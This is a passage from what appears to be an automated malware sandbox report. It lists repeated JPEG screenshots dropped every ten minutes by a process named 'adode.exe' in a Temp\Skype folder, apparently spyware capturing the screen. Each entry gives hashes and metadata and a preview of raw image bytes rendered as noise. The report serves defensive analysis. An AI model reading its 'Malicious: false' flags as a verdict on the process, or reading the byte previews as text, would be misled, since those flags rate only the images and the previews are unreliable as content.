Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240419_224937.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	151430
Entropy (8bit):	7.918221430287366
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfz5RLb/qPc:WpgzOCtbRJPBBcFJPT
MD5:	197989B789D3583D2F9516735F52A44D
SHA1:	0CFD7B450080791A566E472ABBDFE4CAEA17481F
SHA-256:	9D92D2FAD3CD6AA8F463CF8472104C45E4CB076E5CD379BC6CEA4E1F38F30EEC
SHA-512:	6E512053A1EAA827C9E6AD2BE0EA11B70EC3A769025854BA9038B0E3A61B2FC2916F452ED42FCF0787D4BCBAE38BD0179E0F7E244034FB7EC2F592A41CC9E0D1
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240419_225937.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	151430
Entropy (8bit):	7.918221430287366
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfz5RLb/qPc:WpgzOCtbRJPBBcFJPT
MD5:	197989B789D3583D2F9516735F52A44D
SHA1:	0CFD7B450080791A566E472ABBDFE4CAEA17481F
SHA-256:	9D92D2FAD3CD6AA8F463CF8472104C45E4CB076E5CD379BC6CEA4E1F38F30EEC
SHA-512:	6E512053A1EAA827C9E6AD2BE0EA11B70EC3A769025854BA9038B0E3A61B2FC2916F452ED42FCF0787D4BCBAE38BD0179E0F7E244034FB7EC2F592A41CC9E0D1
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240419_230937.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	151666
Entropy (8bit):	7.917545040118323
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLZxkCY50kW2KVEiMJbeba:WpgzOCtbRJPBBc/kCYvj6EQ2
MD5:	55F623BB2F5463995C1C169B26978A34
SHA1:	4C03425193C5105E0C93237D82B0F10BA5D2026F
SHA-256:	107CB26D7498303C751BD30A7C1C3D445AE492D533A6BB4540A14E965F6CD432
SHA-512:	691AF2D110E19C88BE830B0A2F0A940C4200F181E7987456F73080FDE3979D00F82A415F310DBCE19FCD186343E877BBDC94C63A32849F8118FAFAB858891DE0
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240419_231940.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	152576
Entropy (8bit):	7.925186996827008
Encrypted:	false
SSDEEP:	3072:VC9iDj5FYGyQgpgoN6kiTff2FxeYueea8FkcKxgqQebg:09iDzKw+6kGff2FxE9xkM
MD5:	3CD3A674BB4EEAA7AEF0CC9C43805485
SHA1:	4297271C364DA7F070A68B769E784B37ABBD128D
SHA-256:	AA0D7E84E8EBFA353A83FD9B8E2AC01090CA1F5F29CF1DC1A8503CCF4C188018
SHA-512:	53237F645B3F0473826E77E33B4A1E43AD1022331DE8BA385415A1F65382F15D9AE3926BB634B20D034C475C952EEA0C9F4DF6395BC5A43273FAFEDE65AE5071
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240419_232943.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144541
Entropy (8bit):	7.930549702015931
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoTmoJ6J:WpgzOCtbRJPBBcFJRXOMKogJ
MD5:	A7319E28CF98F0F8041DD244996BDFCF
SHA1:	5FC142D62EB7A3BE12CEA865A7BB9F4B6641F8F1
SHA-256:	CCD68EED80C8DC5387AB4AF3CE899F4C13A664D51A26301B2D660F6CA8CEEBCC
SHA-512:	A86FDC0AF6EFEC12C0F3E103EEBEE09B7E17D7745C5D834EDCE2D204715AFAEAA0C49723598DF458D3CDDD04AA89AE135935B057FEA3A687F3754C950FA5B06F
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240419_233944.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144944
Entropy (8bit):	7.928938126625271
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfk7FmIKDcKxgqQebg:WpgzOCtbRJPBBcFJ6TkM
MD5:	F2912BD9EB65C787EEDFCEB841A12675
SHA1:	1CB50C1821DB68B59C4B4BB22FE0C1427C15FE06
SHA-256:	CB07119900FB06211D20FB05EE5F558091083E525A109F6FBA25951BFAE4510A
SHA-512:	E5F4DEC4619430020B1D0658FE3AA608FAC42AC7A79A16A5F6371D339E53F351A5751886A4BCC212F758168381F5BE1E59F5B3AF04200C65210556DD34B6FC5F
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240419_234945.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	150537
Entropy (8bit):	7.929232361984239
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfk7FmIKjQl99ZtrvW:WpgzOCtbRJPBBcFJ6eG3y
MD5:	D960D2FDD9EF18953F416A3C1717D96D
SHA1:	0062BBF27CCD91844BE49E7B29FFC9472FD578EF
SHA-256:	7C09AED13F97A8CD6B6297746AF0B1D793EC64C5FCB0D0642C6797D9942D6275
SHA-512:	B12AE38081A215965AD2F333378384CAF3776D1CD5BED8300DB38D807680E531F4B9F12658C8967A140D9E4BF824AE5DE946DDB3B09F93505F4636476A6D6D81
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240419_235947.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	148660
Entropy (8bit):	7.9309550427517825
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfVnFHlS4fgTDw:WpgzOCtbRJPBBcFJfDkc
MD5:	E180D17182ACD36ACBACFC082C31DAC5
SHA1:	C71762021E17FE83E1169117E3EEAE13C552FD77
SHA-256:	4AA38964C9387C954941B92FAEBE7F2A1791280EE45603D981AA43B84B912341
SHA-512:	CB72E23B999252E006B214B6E15F59B669A7E8E4875BB695CDC4E1523A83F8A43FC7204A47BA7F7BD043599A0376F6B793EA399F31B208153CC9F12FACA6A4BA
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240420_000953.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144541
Entropy (8bit):	7.930549702015931
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoTmoJ6J:WpgzOCtbRJPBBcFJRXOMKogJ
MD5:	A7319E28CF98F0F8041DD244996BDFCF
SHA1:	5FC142D62EB7A3BE12CEA865A7BB9F4B6641F8F1
SHA-256:	CCD68EED80C8DC5387AB4AF3CE899F4C13A664D51A26301B2D660F6CA8CEEBCC
SHA-512:	A86FDC0AF6EFEC12C0F3E103EEBEE09B7E17D7745C5D834EDCE2D204715AFAEAA0C49723598DF458D3CDDD04AA89AE135935B057FEA3A687F3754C950FA5B06F
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240420_001955.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144541
Entropy (8bit):	7.930549702015931
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoTmoJ6J:WpgzOCtbRJPBBcFJRXOMKogJ
MD5:	A7319E28CF98F0F8041DD244996BDFCF
SHA1:	5FC142D62EB7A3BE12CEA865A7BB9F4B6641F8F1
SHA-256:	CCD68EED80C8DC5387AB4AF3CE899F4C13A664D51A26301B2D660F6CA8CEEBCC
SHA-512:	A86FDC0AF6EFEC12C0F3E103EEBEE09B7E17D7745C5D834EDCE2D204715AFAEAA0C49723598DF458D3CDDD04AA89AE135935B057FEA3A687F3754C950FA5B06F
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240420_002955.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144541
Entropy (8bit):	7.930549702015931
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoTmoJ6J:WpgzOCtbRJPBBcFJRXOMKogJ
MD5:	A7319E28CF98F0F8041DD244996BDFCF
SHA1:	5FC142D62EB7A3BE12CEA865A7BB9F4B6641F8F1
SHA-256:	CCD68EED80C8DC5387AB4AF3CE899F4C13A664D51A26301B2D660F6CA8CEEBCC
SHA-512:	A86FDC0AF6EFEC12C0F3E103EEBEE09B7E17D7745C5D834EDCE2D204715AFAEAA0C49723598DF458D3CDDD04AA89AE135935B057FEA3A687F3754C950FA5B06F
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240420_003956.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144541
Entropy (8bit):	7.930549702015931
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoTmoJ6J:WpgzOCtbRJPBBcFJRXOMKogJ
MD5:	A7319E28CF98F0F8041DD244996BDFCF
SHA1:	5FC142D62EB7A3BE12CEA865A7BB9F4B6641F8F1
SHA-256:	CCD68EED80C8DC5387AB4AF3CE899F4C13A664D51A26301B2D660F6CA8CEEBCC
SHA-512:	A86FDC0AF6EFEC12C0F3E103EEBEE09B7E17D7745C5D834EDCE2D204715AFAEAA0C49723598DF458D3CDDD04AA89AE135935B057FEA3A687F3754C950FA5B06F
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240420_004959.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144541
Entropy (8bit):	7.930549702015931
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoTmoJ6J:WpgzOCtbRJPBBcFJRXOMKogJ
MD5:	A7319E28CF98F0F8041DD244996BDFCF
SHA1:	5FC142D62EB7A3BE12CEA865A7BB9F4B6641F8F1
SHA-256:	CCD68EED80C8DC5387AB4AF3CE899F4C13A664D51A26301B2D660F6CA8CEEBCC
SHA-512:	A86FDC0AF6EFEC12C0F3E103EEBEE09B7E17D7745C5D834EDCE2D204715AFAEAA0C49723598DF458D3CDDD04AA89AE135935B057FEA3A687F3754C950FA5B06F
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240420_010000.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144541
Entropy (8bit):	7.930549702015931
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoTmoJ6J:WpgzOCtbRJPBBcFJRXOMKogJ
MD5:	A7319E28CF98F0F8041DD244996BDFCF
SHA1:	5FC142D62EB7A3BE12CEA865A7BB9F4B6641F8F1
SHA-256:	CCD68EED80C8DC5387AB4AF3CE899F4C13A664D51A26301B2D660F6CA8CEEBCC
SHA-512:	A86FDC0AF6EFEC12C0F3E103EEBEE09B7E17D7745C5D834EDCE2D204715AFAEAA0C49723598DF458D3CDDD04AA89AE135935B057FEA3A687F3754C950FA5B06F
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240420_011001.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144541
Entropy (8bit):	7.930549702015931
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoTmoJ6J:WpgzOCtbRJPBBcFJRXOMKogJ
MD5:	A7319E28CF98F0F8041DD244996BDFCF
SHA1:	5FC142D62EB7A3BE12CEA865A7BB9F4B6641F8F1
SHA-256:	CCD68EED80C8DC5387AB4AF3CE899F4C13A664D51A26301B2D660F6CA8CEEBCC
SHA-512:	A86FDC0AF6EFEC12C0F3E103EEBEE09B7E17D7745C5D834EDCE2D204715AFAEAA0C49723598DF458D3CDDD04AA89AE135935B057FEA3A687F3754C950FA5B06F
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240420_012003.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144541
Entropy (8bit):	7.930549702015931
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoTmoJ6J:WpgzOCtbRJPBBcFJRXOMKogJ
MD5:	A7319E28CF98F0F8041DD244996BDFCF
SHA1:	5FC142D62EB7A3BE12CEA865A7BB9F4B6641F8F1
SHA-256:	CCD68EED80C8DC5387AB4AF3CE899F4C13A664D51A26301B2D660F6CA8CEEBCC
SHA-512:	A86FDC0AF6EFEC12C0F3E103EEBEE09B7E17D7745C5D834EDCE2D204715AFAEAA0C49723598DF458D3CDDD04AA89AE135935B057FEA3A687F3754C950FA5B06F
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240420_013004.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144541
Entropy (8bit):	7.930549702015931
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoTmoJ6J:WpgzOCtbRJPBBcFJRXOMKogJ
MD5:	A7319E28CF98F0F8041DD244996BDFCF
SHA1:	5FC142D62EB7A3BE12CEA865A7BB9F4B6641F8F1
SHA-256:	CCD68EED80C8DC5387AB4AF3CE899F4C13A664D51A26301B2D660F6CA8CEEBCC
